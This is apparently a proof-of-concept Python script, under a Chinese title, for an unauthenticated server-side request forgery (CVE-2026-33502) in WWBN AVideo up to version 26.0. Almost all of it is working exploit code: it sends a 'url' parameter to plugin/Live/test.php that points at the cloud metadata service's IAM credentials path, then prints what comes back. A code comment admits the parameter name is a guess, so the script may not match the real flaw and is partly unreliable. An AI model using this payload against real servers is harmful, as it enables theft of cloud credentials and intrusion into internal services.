CVE-2026-33502 AVideo未认证服务器端请求伪造漏洞

# PoC for CVE-2026-33502 (WWBN AVideo SSRF) # Target: WWBN AVideo <= 26.0 import requests def check_ssrf(target_base_url): """ Exploit the SSRF in plugin/Live/test.php to probe internal services. """ # The vulnerable endpoint vulnerable_url = f"{target_base_url}/plugin/Live/test.php" # Payload to access internal metadata or a local service # Example: AWS Metadata service or a local admin panel internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Note: The parameter name 'url' might vary based on actual source code logic, # but 'url' is standard for SSRF vulnerabilities. params = { "url": internal_target } try: print(f"[*] Sending request to: {vulnerable_url}") print(f"[*] Testing internal access to: {internal_target}") response = requests.get(vulnerable_url, params=params, timeout=10) if response.status_code == 200: print("[+] Request successful! The server responded with:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_ssrf(target)